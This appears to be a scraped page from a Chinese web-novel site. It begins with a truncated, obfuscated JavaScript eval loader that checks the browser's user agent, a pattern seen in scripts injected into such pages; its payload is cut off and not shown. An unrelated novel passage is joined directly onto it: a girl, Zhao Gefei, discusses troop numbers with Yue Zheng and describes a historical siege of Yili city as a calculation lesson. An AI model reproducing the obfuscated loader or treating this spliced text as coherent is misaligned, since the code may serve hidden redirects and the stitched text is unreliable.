;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁知道赵格非似乎无法领会,径自说,“既然七叔知兵,就好。”随后,她拿起来一根已经削尖的竹笔,蘸了墨,直接点在猎场舆图上一座被标记出来的矮峰,“七叔,如果我爹人在这里,他现在应该人也就在这里,方才猎场有战报过来上呈六叔,我听了一耳朵。我是说如果,如果我爹想要在日落之前围住河谷,需要多少人马?” 一瞬间,越筝无法准确回答出来,因为眼下知道的消息过于潦草,只能说个大致,“三百。” “嗯。”赵格非点点头,“我也觉得差不多,只是不知道下场的其他叔伯的战力,如果是……” 猎场毕竟不是真实的战场,这里一切都简化了。 越筝,“如果是谁?” 赵格非,“如果助力是我外祖父还有小叔,那么一百人就足够,五十人也可;可如果阻力是他们,三千人都挡不住。” 越筝,“有些夸张吧。” 赵格非摇了摇手指,“他们曾经在一天之内攻下伊犁城,而当年伊犁城,守军多于十万。前一阵我爹大致跟我说过经过,他们用了不到三万人,伤亡不到三成。子时之前半个时辰准备好,然后子时一到就攻城。一共兵分三路,北城最坚固,所以动用了我外祖亲自做先锋,而被分成三路的人马也因为武器不同而再次分成四层,弩机、弓、枪与专攻挖沟的锐师,依次攻城。北城最重要是主攻,南城助攻兼主攻,主将是我爹的副将,东面是挖断流水,西面是粮仓主要需围困。攻城开始之后,信鸽和战鼓都用来从行辕传军令,小叔的人马配弩机,城池攻下来,他们就转向东面,保护挖沟的锐师,同时阻断从碎叶赶来增援的骑兵。” 越筝,“他同你讲这些做什么?” 赵格非,“功课呀!我需要根据我爹说的消息,当年比我此时说的这些细密的多,演算出各个地方被攻克的时辰,最后推算出最终到达伊犁城中的暗河水井已经是多久之后了。” 越筝听完默了一下,才说,“算这个做什么?” 赵格非,“我爹说这是童子功,练好了,以后去菜场买白菜就不会被坑了。” 越筝,“……”